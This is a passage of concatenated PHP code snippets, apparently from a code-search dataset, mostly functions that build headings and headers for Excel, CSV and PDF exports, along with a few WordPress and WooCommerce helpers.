\"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "public function getHeading(): string;", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "private function getSkills() {\n\t\t$html ='';\n\t\tforeach ($this->_xml->ecole as $branch) {\n\t\t\t$html .= '<div id=\"'.$branch['id'].'\" class=\"tal_invisible\">';\n\t\t\t$html .= $this->getActive($branch);\n\t\t\t$html .= $this->getPassive($branch);\n\t\t\t$html .= '</div>';\n\t\t}\n\n\t\treturn $html;\n\t}", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "public function headingRow(): int\n {\n return 1;\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "public function getHeadings(): Collection;", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "public static function wdtSheetsNoHeadingValidation()\n {\n return [\n 'Age-Gen-Educ-Employ',\n 'Employment_timeseries',\n 'Training activity_FoE',\n 'Training activity_TP',\n 'Qual completions',\n // TODO more imports\n ];\n }", "function Assessors_Inscription_Assessors_Table_Titles($datas,$frienddatas,$submissiondatas)\n {\n return\n array_merge\n (\n array($this->B(\"No\")),\n $this->FriendsObj()->MyMod_Data_Titles($frienddatas),\n $this->SubmissionsObj()->MyMod_Data_Titles($submissiondatas),\n $this->MyMod_Data_Titles($datas),\n array(\"\")\n );\n }", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "function horizon_skills_section() {\n\t\tget_template_part('inc/partials/homepage', 'skills');\n\t}", "function experiences_columns_head($defaults) {\n $defaults['experience_order'] = 'Order';\n $defaults['featured_image'] = 'Featured Image';\n $defaults['experience_size'] = 'Size';\n $defaults['experience_link'] = 'Link';\n return $defaults;\n}", "private function renderSectionHeadings() {\n\t\t$headings = array();\n\t\t$separator = $this->getSubpart('HEADING_SEPARATOR');\n\n\t\tforeach ($this->sections as $key => $section) {\n\t\t\t$class = ($key == 0) ? 'tx-explanationbox-pi1-active' : 'tx-explanationbox-pi1-inactive';\n\n\t\t\t$this->setMarker('class_heading', $class);\n\t\t\t$this->setMarker('heading_number', $key);\n\t\t\t$this->setMarker('heading', htmlspecialchars($section['title']));\n\t\t\t$headings[] = $this->getSubpart('SINGLE_HEADING');\n\t\t}\n\n\t\tif (count($this->sections) > 1) {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-active');\n\t\t} else {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-inactive');\n\t\t}\n\n\t\t$this->setMarker('number_of_sections', count($this->sections));\n\t\t$this->setSubpart('SECTION_HEADINGS', implode($separator, $headings));\n\t}", "public function get_game_one_heading () {\n\t\treturn get_field('field_5b476ff519749', $this->get_id());\n\t}", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "public function get_heading() {\n\t\tif ( $this->object['voucher_count'] == 1 ) {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading ), $this->object );\n\t\t} else {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading_multiple ), $this->object );\n\t\t}\n\t}", "public function getHeadings(): iterable;", "public function head()\n {\n return $this->people->getName().'做了个头';\n }", "function generateTitle($header, $data)\n\t{\n\t\t$this->SetFillColor(63,73,204);\n\t\t$this->SetTextColor(255);\n\t\t$this->SetDrawColor(18,0,0);\n\t\t$this->SetLineWidth(.1);\n\t\t$this->SetFont('','B');\n\t\t// Header\n\t\t$w = array(70, 25, 30, 20,30,35,25);\n\t\tfor($i=0;$i<count($header);$i++)\n\t\t\t$this->Cell($w[$i],7,$header[$i],1,0,'C',true);\n\t\t$this->Ln();\n\t\t// Color and font restoration\n\t\t$this->SetFillColor(224,235,255);\n\t\t$this->SetTextColor(0);\n\t\t$this->SetFont('');\n\t\t// Data\n\t\t$fill = false;\n\t\tforeach($data as $row)\n\t\t{\n\t\t\t$this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);\n/*\t\t\t$this->Cell($w[1],6,$row[1],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[2],6,$row[2],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[3],6,$row[3],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[4],6,$row[4],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[5],6,$row[5],'LR',0,'C',$fill);*/\n\t\t\t$this->Ln();\n\t\t\t$fill = !$fill;\n\t\t}\n\t\t// Closing line\n\t\t$this->Cell(array_sum($w),0,'','T');\n\t}", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "public function 